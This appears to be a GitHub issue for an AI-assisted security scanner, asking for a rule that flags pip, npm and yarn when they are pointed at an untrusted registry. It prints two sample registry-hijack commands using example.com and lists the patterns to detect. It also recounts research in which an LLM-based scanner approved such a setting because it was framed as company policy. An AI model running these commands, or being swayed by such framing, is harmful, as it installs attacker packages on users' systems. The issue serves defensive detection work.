You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
Repository navigation
Detection gap: pip or npm pointed at an untrusted package registry #46
In the Trail of Bits research, a package-manager setting that routed installs to an attacker's registry was approved by an LLM-based scanner because it was framed as company policy. Any later pip install or npm install then pulls the attacker's packages (OWASP AST02, Supply Chain Compromise).
pip install --index-url https://example.com/simple/ helper-tools
npm config set registry https://example.com/npm/
Current result (1.2.0)
SAFE.
What done looks like
A pattern flags --index-url, --extra-index-url, -i <url>, PIP_INDEX_URL, npm config set registry, --registry, yarn config set npmRegistryServer, and writes to pip.conf, .npmrc or .pypirc, when the URL is not the official registry. HIGH.
Near-miss: pip install --index-url https://pypi.org/simple/ requests must not be flagged.
27-registry-hijack passes in tests/test_redteam.py; remove it from KNOWN_GAPS.
All safe samples in tests/fixtures/redteam/benign/ still pass.
Before you start, read CONTRIBUTING.md, especially "Adding or changing a detection rule" and "Test samples must be safe". Comment here to claim the issue.
Activity
feat(rules): flag pip, npm and yarn pointed at untrusted registry (SG…
feat(rules): flag pip, npm and yarn pointed at untrusted registry (SG…
feat(rules): flag pip, npm and yarn pointed at untrusted registry (SG…